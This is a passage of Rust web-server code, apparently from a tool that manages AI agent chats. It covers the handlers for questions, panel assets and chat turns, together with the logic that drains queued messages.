6915 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6916 Ok(Json(
6917 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6918 ))
6919 })
6920 .await
6921}
6922
6923async fn question_consult(
6932 State(ui): State<Arc<Ui>>,
6933 Path(id): Path<String>,
6934) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6935 let (view, reclaimed) = blocking({
6936 let ui = Arc::clone(&ui);
6937 move || {
6938 let id = resolve_question(&ui.questions, &id)?;
6939 let q = ui
6940 .questions
6941 .get(&id)
6942 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6943 if !q.status.open() {
6944 return Err(ApiError::conflict(format!(
6945 "question {} is already {}",
6946 q.short(),
6947 q.status.as_str()
6948 )));
6949 }
6950 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6951 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6952 return Err(ApiError::conflict(format!(
6953 "question {} has no chat to ask",
6954 q.short()
6955 )));
6956 };
6957 let cfg = if q.consult.is_none() {
6961 Some(Config::discover(&talk.repo, None)?.0)
6962 } else {
6963 None
6964 };
6965 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6966 let claim = if fresh {
6967 match ui.begin_queued_talk_turn(&talk.id)? {
6968 Some(turn_guard) => {
6969 let talk = ui.talks.get(&talk.id)?;
6970 let cfg = match cfg {
6971 Some(cfg) => cfg,
6972 None => Config::discover(&talk.repo, None)?.0,
6973 };
6974 Some((talk, cfg, turn_guard))
6975 }
6976 None => None,
6977 }
6978 } else {
6979 None
6980 };
6981 let q = ui.questions.get(&q.id)?;
6982 let cfg = deputy_config(&ui.repo);
6983 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6984 Ok((view, claim))
6985 }
6986 })
6987 .await?;
6988 if let Some((talk, cfg, turn_guard)) = reclaimed {
6989 let talks = ui.talks.clone();
6990 let id = talk.id.clone();
6991 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6992 }
6993 Ok((StatusCode::ACCEPTED, Json(view)))
6994}
6995
6996fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6998 if store.path_of(id).is_file() {
6999 return Ok(id.to_owned());
7000 }
7001 pick(
7002 store.list().into_iter().map(|q| q.id).collect(),
7003 id,
7004 "question",
7005 )
7006}
7007
7008async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7023 blocking(move || {
7024 let id = resolve_question(&ui.questions, &id)?;
7025 let Some(html) = ui.questions.panel_html(&id) else {
7026 return Err(ApiError::not_found(format!("question {id} has no panel")));
7027 };
7028 Ok(panel_response(
7029 "text/html; charset=utf-8",
7030 false,
7031 html.into_bytes(),
7032 ))
7033 })
7034 .await
7035}
7036
7037async fn question_asset(
7065 State(ui): State<Arc<Ui>>,
7066 Path((id, name)): Path<(String, String)>,
7067) -> ApiResult<Response> {
7068 if !crate::ask::valid_asset_name(&name) {
7071 return Err(ApiError::bad_request(format!(
7072 "`{name}` is not a usable asset name"
7073 )));
7074 }
7075 blocking(move || {
7076 let id = resolve_question(&ui.questions, &id)?;
7077 let asset = ui
7078 .questions
7079 .panel_asset(&id, &name)
7080 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7081 let Some(bytes) = asset else {
7082 return Err(ApiError::not_found(format!(
7083 "question {id} has no asset `{name}`"
7084 )));
7085 };
7086 Ok(panel_response(
7087 asset_content_type(&name),
7088 is_svg(&name),
7089 bytes,
7090 ))
7091 })
7092 .await
7093}
7094
7095fn asset_content_type(name: &str) -> &'static str {
7108 match extension(name).as_deref() {
7109 Some("png") => "image/png",
7110 Some("jpg" | "jpeg") => "image/jpeg",
7111 Some("gif") => "image/gif",
7112 Some("webp") => "image/webp",
7113 Some("svg") => "image/svg+xml",
7114 Some("css") => "text/css; charset=utf-8",
7115 Some("txt") => "text/plain; charset=utf-8",
7116 _ => "application/octet-stream",
7117 }
7118}
7119
7120fn is_svg(name: &str) -> bool {
7123 extension(name).as_deref() == Some("svg")
7124}
7125
7126fn extension(name: &str) -> Option<String> {
7128 name.rsplit_once('.')
7129 .map(|(_, ext)| ext.to_ascii_lowercase())
7130}
7131
7132fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7149 let mut res = (
7150 [
7151 (header::CONTENT_TYPE, content_type),
7152 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7153 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7154 (header::REFERRER_POLICY, "no-referrer"),
7155 ],
7156 body,
7157 )
7158 .into_response();
7159 if download {
7160 res.headers_mut().insert(
7161 header::CONTENT_DISPOSITION,
7162 HeaderValue::from_static("attachment"),
7163 );
7164 }
7165 res
7166}
7167
7168#[derive(Debug, Serialize)]
7174struct TalkView {
7175 #[serde(flatten)]
7176 talk: Talk,
7177 turn_bodies_md: Vec<Vec<md::Node>>,
7178 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7180 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7181 thinking: bool,
7189 context: talk::ContextUsage,
7193 operator_name: Option<String>,
7196 persona_name: Option<String>,
7198 persona_avatar: String,
7201 operator_avatar: String,
7203 magi_avatar: String,
7204}
7205
7206impl TalkView {
7207 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7210 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7211 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7212 }
7213
7214 fn with_config(
7217 talk: Talk,
7218 thinking: bool,
7219 cfg: Option<&Config>,
7220 home: &FsPath,
7221 cache: &id_links::IndexCache,
7222 ) -> Self {
7223 let references = cache.for_talk(home, &talk);
7224 Self::with_references(talk, thinking, cfg, home, &references)
7225 }
7226
7227 fn with_references(
7228 mut talk: Talk,
7229 thinking: bool,
7230 cfg: Option<&Config>,
7231 home: &FsPath,
7232 references: &id_links::IdIndex,
7233 ) -> Self {
7234 let snapshot = talk.clone();
7236 for (index, turn) in talk.turns.iter_mut().enumerate() {
7237 let original = &snapshot.turns[index];
7238 if turn.messages.is_empty() {
7239 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7240 turn.messages.push(talk::Message {
7241 sender: Some(talk::Sender::Magi),
7242 body: original.body.clone(),
7243 display: Some(display),
7244 attachments: original.attachments.clone(),
7245 reply: None,
7246 });
7247 }
7248 } else {
7249 for (i, message) in turn.messages.iter_mut().enumerate() {
7250 message.display =
7251 talk::notice_display(&snapshot, original, original.messages.get(i));
7252 if message.display.is_some() {
7253 message.sender = Some(talk::Sender::Magi);
7254 }
7255 }
7256 }
7257 }
7258 for message in &mut talk.pending_messages {
7259 if message.display.is_none()
7260 && (message.sender == Some(talk::Sender::Magi)
7261 || snapshot
7262 .completion_notices
7263 .iter()
7264 .any(|r| r.notice == message.body))
7265 {
7266 message.display = crate::prompt::legacy_notice_display(&message.body);
7267 if message.display.is_some() {
7268 message.sender = Some(talk::Sender::Magi);
7269 }
7270 }
7271 }
7272 if talk.pending_messages.is_empty()
7273 && snapshot
7274 .completion_notices
7275 .iter()
7276 .any(|r| r.notice == talk.pending)
7277 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7278 {
7279 talk.pending_messages.push(talk::Message {
7280 sender: Some(talk::Sender::Magi),
7281 display: Some(display),
7282 body: talk.pending.clone(),
7283 attachments: talk.pending_attachments.clone(),
7284 reply: None,
7285 });
7286 }
7287 let excerpts: Vec<Vec<Option<String>>> = talk
7288 .turns
7289 .iter()
7290 .map(|turn| {
7291 turn.messages
7292 .iter()
7293 .map(|m| {
7294 m.display
7295 .as_ref()
7296 .map(|d| d.facts.chars().take(240).collect())
7297 })
7298 .collect()
7299 })
7300 .collect();
7301 for turn in &mut talk.turns {
7302 let provenance = talk::sender(turn, None);
7303 turn.sender = Some(provenance);
7304 for message in &mut turn.messages {
7305 message.sender = Some(message.sender.unwrap_or(provenance));
7306 }
7307 }
7308 let senders: Vec<Vec<talk::Sender>> = talk
7310 .turns
7311 .iter()
7312 .map(|turn| {
7313 if turn.messages.is_empty() {
7314 vec![talk::sender(turn, None)]
7315 } else {
7316 turn.messages
7317 .iter()
7318 .map(|m| talk::sender(turn, Some(m)))
7319 .collect()
7320 }
7321 })
7322 .collect();
7323 for reply in talk
7324 .turns
7325 .iter_mut()
7326 .flat_map(|t| t.messages.iter_mut())
7327 .chain(talk.pending_messages.iter_mut())
7328 .filter_map(|m| m.reply.as_mut())
7329 {
7330 if let Some(Some(excerpt)) = excerpts
7331 .get(reply.target.turn)
7332 .and_then(|ms| ms.get(reply.target.message))
7333 {
7334 reply.excerpt = excerpt.clone();
7335 reply.sender = Some(talk::Sender::Magi);
7336 }
7337 if reply.sender.is_none() {
7338 reply.sender = senders
7339 .get(reply.target.turn)
7340 .and_then(|messages| messages.get(reply.target.message))
7341 .copied();
7342 }
7343 }
7344 let context = talk::context_usage(&talk, cfg);
7345 let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
7346 .turns
7347 .iter()
7348 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7349 .collect();
7350 let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
7351 .turns
7352 .iter()
7353 .map(|turn| {
7354 if turn.messages.is_empty() {
7355 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7356 } else {
7357 turn.messages
7358 .iter()
7359 .map(|message| {
7360 notice_markdown(
7361 message.sender.unwrap_or(talk::Sender::Operator),
7362 &message.body,
7363 message.display.as_ref(),
7364 )
7365 })
7366 .collect()
7367 }
7368 })
7369 .collect();
7370 let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
7371 .pending_messages
7372 .iter()
7373 .map(|message| {
7374 notice_markdown(
7375 message.sender.unwrap_or(talk::Sender::Operator),
7376 &message.body,
7377 message.display.as_ref(),
7378 )
7379 })
7380 .collect();
7381 for nodes in &mut turn_bodies_md {
7382 references.markdown(nodes);
7383 }
7384 for nodes in turn_messages_md
7385 .iter_mut()
7386 .flatten()
7387 .chain(pending_messages_md.iter_mut())
7388 .flatten()
7389 {
7390 references.markdown(nodes);
7391 }
7392 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7393 let persona_name = persona::find(specs, &talk.persona)
7394 .filter(|p| !p.is_default())
7395 .map(|p| p.name);
7396 let mut avatar_persona = persona::find(specs, &talk.persona)
7397 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
7398 if avatar_persona.id != talk.persona
7400 && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
7401 {
7402 avatar_persona.id.clone_from(&talk.persona);
7403 avatar_persona.icon = None;
7404 }
7405 let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
7406 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7407 Self {
7408 turn_bodies_md,
7409 turn_messages_md,
7410 pending_messages_md,
7411 thinking,
7412 context,
7413 operator_name,
7414 persona_name,
7415 persona_avatar,
7416 magi_avatar: magi_icon_url(home),
7417 operator_avatar: operator_icon_url(home),
7418 talk,
7419 }
7420 }
7421}
7422
7423fn notice_markdown(
7425 sender: talk::Sender,
7426 body: &str,
7427 display: Option<&crate::prompt::NoticeDisplay>,
7428) -> Option<Vec<md::Node>> {
7429 if sender != talk::Sender::Magi {
7430 return None;
7431 }
7432 let text = if let Some(display) = display {
7433 display.facts.as_str()
7434 } else {
7435 if crate::prompt::is_completion_notice(body)
7438 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7439 {
7440 return None;
7441 }
7442 body.strip_prefix("magi: ").unwrap_or(body)
7443 };
7444 Some(md::to_nodes(text, &md::ImageBase::None))
7445}
7446
7447#[derive(Debug, Serialize)]
7452struct TalkDetailView {
7453 #[serde(flatten)]
7454 view: TalkView,
7455 tasks: Vec<TaskView>,
7456 task_progress: TalkTaskProgress,
7457 roster: Vec<RosterEntry>,
7460 personas: Vec<PersonaEntry>,
7463}
7464
7465#[derive(Debug, Serialize)]
7467struct TalkTaskProgress {
7468 state: &'static str,
7469 total: usize,
7470 done: usize,
7471 counts: std::collections::BTreeMap<&'static str, usize>,
7472 unfinished_ids: Vec<String>,
7473}
7474
7475fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
7476 let mut counts = std::collections::BTreeMap::from([
7477 ("queued", 0),
7478 ("running", 0),
7479 ("done", 0),
7480 ("failed", 0),
7481 ("held", 0),
7482 ("blocked", 0),
7483 ("parked", 0),
7484 ]);
7485 let mut unfinished_ids = Vec::new();
7486 for task in tasks {
7487 *counts.entry(task.status.as_str()).or_default() += 1;
7488 if task.status != TaskStatus::Done {
7489 unfinished_ids.push(task.id.clone());
7490 }
7491 }
7492 TalkTaskProgress {
7493 state: if tasks.is_empty() {
7494 "none"
7495 } else if unfinished_ids.is_empty() {
7496 "complete"
7497 } else {
7498 "incomplete"
7499 },
7500 total: tasks.len(),
7501 done: tasks.len() - unfinished_ids.len(),
7502 counts,
7503 unfinished_ids,
7504 }
7505}
7506
7507#[derive(Debug, Serialize)]
7509struct PersonaEntry {
7510 id: String,
7511 name: String,
7512 avatar: String,
7514}
7515
7516#[derive(Debug, Serialize)]
7518struct RosterEntry {
7519 id: String,
7520 kind: AgentKind,
7521 runnable: bool,
7523}
7524
7525async fn talks_list(
7530 State(ui): State<Arc<Ui>>,
7531 Query(q): Query<ListQuery>,
7532) -> ApiResult<Json<Vec<TalkView>>> {
7533 blocking(move || {
7534 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7535 let talks = ui.talks.list();
7536 let references = if talks.iter().any(id_links::has_references) {
7537 ui.references.get(
7538 &ui.runs,
7539 &ui.queue,
7540 &ui.questions,
7541 &ui.talks,
7542 talks.iter().any(id_links::has_findings),
7543 )
7544 } else {
7545 Arc::new(id_links::IdIndex::default())
7546 };
7547 Ok(Json(
7548 talks
7549 .into_iter()
7550 .filter(|talk| q.contains(&talk.id))
7551 .map(|talk| {
7552 let thinking = ui.is_thinking(&talk.id);
7553 let cfg = configs
7554 .entry(talk.repo.clone())
7555 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7556 TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
7557 })
7558 .collect(),
7559 ))
7560 })
7561 .await
7562}
7563
7564#[derive(Debug, Default, Deserialize)]
7569#[serde(default)]
7570struct NewTalk {
7571 agent: Option<String>,
7572 repo: Option<PathBuf>,
7573 preferred_agent: Option<serde_json::Value>,
7577 persona: Option<serde_json::Value>,
7578 implementers: Option<serde_json::Value>,
7579}
7580
7581async fn talk_post(
7584 State(ui): State<Arc<Ui>>,
7585 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7586) -> ApiResult<impl IntoResponse> {
7587 let body = match body {
7591 Ok(Json(body)) => body,
7592 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7593 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7594 };
7595 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7596 let cfg = config_for(&repo).await?;
7597 let view = blocking(move || {
7598 let preferred = talk::Preferred {
7599 agent: body
7600 .preferred_agent
7601 .as_ref()
7602 .and_then(|v| v.as_str())
7603 .map(str::to_owned),
7604 persona: body
7605 .persona
7606 .as_ref()
7607 .and_then(|v| v.as_str())
7608 .map(str::to_owned),
7609 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7610 };
7611 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7612 let thinking = ui.is_thinking(&talk.id);
7613 Ok(TalkView::new(talk, thinking, &ui))
7614 })
7615 .await?;
7616 Ok((StatusCode::CREATED, Json(view)))
7617}
7618
7619async fn talk_detail(
7621 State(ui): State<Arc<Ui>>,
7622 Path(id): Path<String>,
7623) -> ApiResult<Json<TalkDetailView>> {
7624 blocking(move || {
7625 let id = resolve_talk(&ui.talks, &id)?;
7626 let talk = ui.talks.get(&id)?;
7627 let thinking = ui.is_thinking(&talk.id);
7628 let tasks = talk::tasks_of(&ui.queue, &talk.id);
7629 let task_progress = talk_task_progress(&tasks);
7630 let tasks = tasks.into_iter().map(TaskView::from).collect();
7631 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7632 let roster = cfg
7633 .as_ref()
7634 .map(|cfg| {
7635 cfg.agents
7636 .iter()
7637 .map(|a| RosterEntry {
7638 id: a.id.clone(),
7639 kind: a.kind,
7640 runnable: agent::installed(a),
7641 })
7642 .collect()
7643 })
7644 .unwrap_or_default();
7645 let specs = cfg
7646 .as_ref()
7647 .map(|cfg| cfg.talk.personas.clone())
7648 .unwrap_or_default();
7649 let personas = persona::catalog(&specs)
7650 .into_iter()
7651 .map(|p| PersonaEntry {
7652 avatar: avatar_url(&ui.home, &talk.id, &p),
7653 id: p.id,
7654 name: p.name,
7655 })
7656 .collect();
7657 Ok(Json(TalkDetailView {
7658 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
7659 tasks,
7660 task_progress,
7661 roster,
7662 personas,
7663 }))
7664 })
7665 .await
7666}
7667
7668#[derive(Debug, Default, Deserialize)]
7674#[serde(default, deny_unknown_fields)]
7675struct NewTalkTurn {
7676 reply_to: Option<talk::ReplyTarget>,
7677 text: String,
7678 attachments: Vec<String>,
7679}
7680
7681#[derive(Debug, Deserialize)]
7682#[serde(deny_unknown_fields)]
7683struct EditTalkPending {
7684 #[serde(default)]
7685 message: Option<usize>,
7686 text: String,
7687 expected_text: String,
7688 expected_attachments: Vec<String>,
7689}
7690
7691#[derive(Debug, Deserialize)]
7692#[serde(deny_unknown_fields)]
7693struct ClearTalkPending {
7694 expected_text: String,
7695 expected_attachments: Vec<String>,
7696}
7697
7698async fn talk_say(
7710 State(ui): State<Arc<Ui>>,
7711 Path(id): Path<String>,
7712 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7713) -> ApiResult<(StatusCode, Json<TalkView>)> {
7714 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7715 if body.text.trim().is_empty() && body.attachments.is_empty() {
7716 return Err(ApiError::bad_request("say something"));
7717 }
7718
7719 let id = {
7720 let ui = Arc::clone(&ui);
7721 let asked = id.clone();
7722 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7723 };
7724 {
7728 let ui = Arc::clone(&ui);
7729 let id = id.clone();
7730 blocking(move || {
7731 let talk = ui.talks.get(&id)?;
7732 if !talk.status.open() {
7733 return Err(ApiError::conflict(format!(
7734 "talk {} is {} and takes no more turns",
7735 talk.short(),
7736 talk.status.as_str()
7737 )));
7738 }
7739 Ok(())
7740 })
7741 .await?;
7742 }
7743
7744 let attachments = {
7749 let ui = Arc::clone(&ui);
7750 let id = id.clone();
7751 let ids = body.attachments.clone();
7752 blocking(move || {
7753 ids.into_iter()
7754 .map(|att_id| {
7755 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7756 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7757 })
7758 })
7759 .collect::<ApiResult<Vec<talk::Attachment>>>()
7760 })
7761 .await?
7762 };
7763
7764 let start = {
7769 let ui = Arc::clone(&ui);
7770 let id = id.clone();
7771 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7772 };
7773 let turn_guard = match start {
7774 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7775 TalkTurnStart::Pending => {
7776 return Err(ApiError::conflict(
7777 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7778 ));
7779 }
7780 TalkTurnStart::Foreign => {
7781 return Err(ApiError::conflict(
7782 "a turn is already running in another process; try again when it has finished",
7783 ));
7784 }
7785 TalkTurnStart::Busy => {
7786 let (tx, rx) = tokio::sync::oneshot::channel();
7802 tokio::spawn({
7803 let ui = Arc::clone(&ui);
7804 let id = id.clone();
7805 let said = body.text.clone();
7806 let reply_to = body.reply_to.clone();
7807 async move {
7808 let written = blocking({
7809 let ui = Arc::clone(&ui);
7810 let id = id.clone();
7811 move || {
7812 let mut talk = ui.talks.get(&id)?;
7813 #[cfg(test)]
7818 if let Some(gate) = ui
7819 .busy_queue_gate
7820 .lock()
7821 .unwrap_or_else(PoisonError::into_inner)
7822 .take()
7823 {
7824 let _ = gate.reached.send(());
7825 let _ = gate.release.recv();
7826 }
7827 if let Err(error) = talk::queue_reply(
7828 &mut talk,
7829 &ui.talks,
7830 &said,
7831 attachments,
7832 reply_to,
7833 ) {
7834 if let Ok(fresh) = ui.talks.get(&id) {
7835 if !fresh.status.open() {
7836 return Err(ApiError::conflict(format!(
7837 "talk {} is {} and takes no more turns",
7838 fresh.short(),
7839 fresh.status.as_str()
7840 )));
7841 }
7842 }
7843 return Err(
7844 if error.to_string().contains("invalid reply target") {
7845 ApiError::bad_request("invalid reply target")
7846 } else {
7847 ApiError::from(error)
7848 },
7849 );
7850 }
7851 let claim = match ui.begin_queued_talk_turn(&id)? {
7862 Some(turn_guard) => {
7863 let (cfg, _) = Config::discover(&talk.repo, None)?;
7864 Some((talk.clone(), cfg, turn_guard))
7865 }
7866 None => None,
7867 };
7868 let thinking = ui.is_thinking(&id);
7869 Ok((TalkView::new(talk, thinking, &ui), claim))
7870 }
7871 })
7872 .await;
7873 let (view, reclaimed) = match written {
7874 Ok(pair) => pair,
7875 Err(e) => {
7876 let _ = tx.send(Err(e));
7881 return;
7882 }
7883 };
7884 let _ = tx.send(Ok(view));
7887 if let Some((talk, cfg, turn_guard)) = reclaimed {
7888 let talks = ui.talks.clone();
7889 drain_loop(talk, talks, cfg, id, turn_guard).await;
7890 }
7891 }
7892 });
7893 let view = rx
7894 .await
7895 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7896 return Ok((StatusCode::ACCEPTED, Json(view)));
7897 }
7898 };
7899
7900 let (talk, cfg) = {
7901 let ui = Arc::clone(&ui);
7902 let id = id.clone();
7903 blocking(move || {
7904 let talk = ui.talks.get(&id)?;
7905 let (cfg, _) = Config::discover(&talk.repo, None)?;
7906 Ok((talk, cfg))
7907 })
7908 .await?
7909 };
7910
7911 let talks = ui.talks.clone();
7912 let (tx, rx) = tokio::sync::oneshot::channel();
7927 tokio::spawn({
7928 let ui = Arc::clone(&ui);
7929 let talks = talks.clone();
7930 let id = id.clone();
7931 let said = body.text.clone();
7932 let reply_to = body.reply_to.clone();
7933 let mut talk = talk.clone();
7934 async move {
7935 let recorded = blocking({
7936 let talks = talks.clone();
7937 move || {
7938 if let Err(error) =
7939 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7940 {
7941 if let Ok(fresh) = talks.get(&talk.id) {
7942 if !fresh.status.open() {
7943 return Err(ApiError::conflict(format!(
7944 "talk {} is {} and takes no more turns",
7945 fresh.short(),
7946 fresh.status.as_str()
7947 )));
7948 }
7949 }
7950 return Err(if error.to_string().contains("invalid reply target") {
7951 ApiError::bad_request("invalid reply target")
7952 } else {
7953 ApiError::from(error)
7954 });
7955 }
7956 Ok((said.trim().to_owned(), talk))
7962 }
7963 })
7964 .await;
7965 let (text, mut talk) = match recorded {
7966 Ok(pair) => pair,
7967 Err(e) => {
7968 let _ = tx.send(Err(e));
7972 return;
7973 }
7974 };
7975 let queued = talk.clone();
7976 let thinking = ui.is_thinking(&id);
7977 let _ = tx.send(Ok((queued, thinking)));
7980
7981 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7982 tracing::warn!("talk {id} turn failed: {e:#}");
7986 }
7987 drain_loop(talk, talks, cfg, id, turn_guard).await;
7990 }
7991 });
7992
7993 let (queued, thinking) = rx
7994 .await
7995 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7996
7997 Ok((
7999 StatusCode::ACCEPTED,
8000 Json(TalkView::new(queued, thinking, &ui)),
8001 ))
8002}
8003
8004async fn talk_pending_resume(
8008 State(ui): State<Arc<Ui>>,
8009 Path(id): Path<String>,
8010) -> ApiResult<(StatusCode, Json<TalkView>)> {
8011 let id = {
8012 let ui = Arc::clone(&ui);
8013 let asked = id.clone();
8014 blocking(move || resolve_talk(&ui.talks, &asked)).await?
8015 };
8016 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8017 return Err(ApiError::conflict(
8018 "a talk turn is already running; the queued draft will be handled by it",
8019 ));
8020 };
8021 let (talk, cfg) = {
8022 let ui = Arc::clone(&ui);
8023 let id = id.clone();
8024 blocking(move || {
8025 let talk = ui.talks.get(&id)?;
8026 if !talk.status.open() {
8027 return Err(ApiError::conflict(format!(
8028 "talk {} is {} and takes no more turns",
8029 talk.short(),
8030 talk.status.as_str()
8031 )));
8032 }
8033 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8034 return Err(ApiError::conflict("there is no queued draft to resume"));
8035 }
8036 let (cfg, _) = Config::discover(&talk.repo, None)?;
8037 Ok((talk, cfg))
8038 })
8039 .await?
8040 };
8041 let view = TalkView::new(talk.clone(), true, &ui);
8042 let talks = ui.talks.clone();
8043 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8044 Ok((StatusCode::ACCEPTED, Json(view)))
8045}
8046
8047async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8063 drain_loop_started(talk, talks, cfg, id, turn, None).await;
8064}
8065
8066async fn settle_settings_turn(
8070 talk: Talk,
8071 talks: Talks,
8072 cfg: Config,
8073 id: String,
8074 turn: TalkTurnGuard,
8075 observed: u64,
8076) -> bool {
8077 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8078 let turns = Arc::clone(&turn.turns);
8079 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8080 if live.queued.get(&id).copied().unwrap_or(0) == observed {
8081 turn.release(&mut live);
8083 return false;
8084 }
8085 }
8086 let (started, settled) = tokio::sync::oneshot::channel();
8087 tokio::spawn(drain_loop_started(
8088 talk,
8089 talks,
8090 cfg,
8091 id,
8092 turn,
8093 Some(started),
8094 ));
8095 settled.await.unwrap_or(false)
8096}
8097
8098async fn drain_loop_started(
8099 mut talk: Talk,
8100 talks: Talks,
8101 cfg: Config,
8102 id: String,
8103 turn: TalkTurnGuard,
8104 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8105) {
8106 let live_set = Arc::clone(&turn.turns);
8107 let mut turn = Some(turn);
8115 loop {
8116 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8117 tracing::warn!("talk {id} lost its turn lease; not draining further");
8120 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8121 if let Some(turn) = turn.take() {
8122 turn.release(&mut live);
8123 }
8124 break;
8125 }
8126 {
8127 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8130 if live.parking {
8131 if let Some(turn) = turn.take() {
8132 turn.release(&mut live);
8133 }
8134 break;
8135 }
8136 }
8137 let observed = live_set
8141 .lock()
8142 .unwrap_or_else(PoisonError::into_inner)
8143 .queued
8144 .get(&id)
8145 .copied()
8146 .unwrap_or(0);
8147 let drained = blocking({
8148 let talks = talks.clone();
8149 let live_set = Arc::clone(&live_set);
8150 move || {
8151 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8156 let result = if live.parking {
8157 Ok(None)
8158 } else {
8159 talk::drain(&mut talk, &talks)
8160 };
8161 drop(live);
8162 Ok((talk, result))
8163 }
8164 })
8165 .await;
8166 let (next_talk, result) = match drained {
8167 Ok(drained) => drained,
8168 Err(e) => {
8169 tracing::warn!(
8170 status = %e.status,
8171 message = %e.message,
8172 "talk {id} could not start queued-text drain"
8173 );
8174 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8175 turn.take()
8176 .expect("held for the whole loop until released here")
8177 .release(&mut live);
8178 break;
8179 }
8180 };
8181 talk = next_talk;
8182 let drained = match result {
8183 Ok(Some(drained)) => drained,
8184 Ok(None) => {
8185 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8186 if live.queued.get(&id).copied().unwrap_or(0) != observed {
8187 continue;
8188 }
8189 turn.take()
8190 .expect("held for the whole loop until released here")
8191 .release(&mut live);
8192 break;
8193 }
8194 Err(e) => {
8195 tracing::warn!("talk {id} could not drain queued text: {e:#}");
8196 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8197 turn.take()
8198 .expect("held for the whole loop until released here")
8199 .release(&mut live);
8200 break;
8201 }
8202 };
8203 if let Some(started) = started.take() {
8204 let _ = started.send(true);
8205 }
8206 let responded = match turn.as_ref() {
8207 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8208 None => Err(anyhow::anyhow!("the turn guard was released")),
8209 };
8210 if let Err(e) = responded {
8211 tracing::warn!("talk {id} turn failed: {e:#}");
8212 }
8213 }
8214 drop(turn);
8215 if let Some(started) = started {
8216 let _ = started.send(false);
8217 }
8218}
8219
8220async fn talk_pending_clear(
8222 State(ui): State<Arc<Ui>>,
8223 Path(id): Path<String>,
8224 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8225) -> ApiResult<Json<TalkView>> {
8226 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8227 blocking(move || {
8228 let id = resolve_talk(&ui.talks, &id)?;
8229 let mut talk = ui.talks.get(&id)?;
8230 if !talk.status.open() {
8231 return Err(ApiError::conflict(format!(
8232 "talk {} is {} and takes no more turns",
8233 talk.short(),
8234 talk.status.as_str()
8235 )));
8236 }
8237 if !talk::clear_pending_if_matches(
8238 &mut talk,
8239 &ui.talks,
8240 &body.expected_text,
8241 &body.expected_attachments,
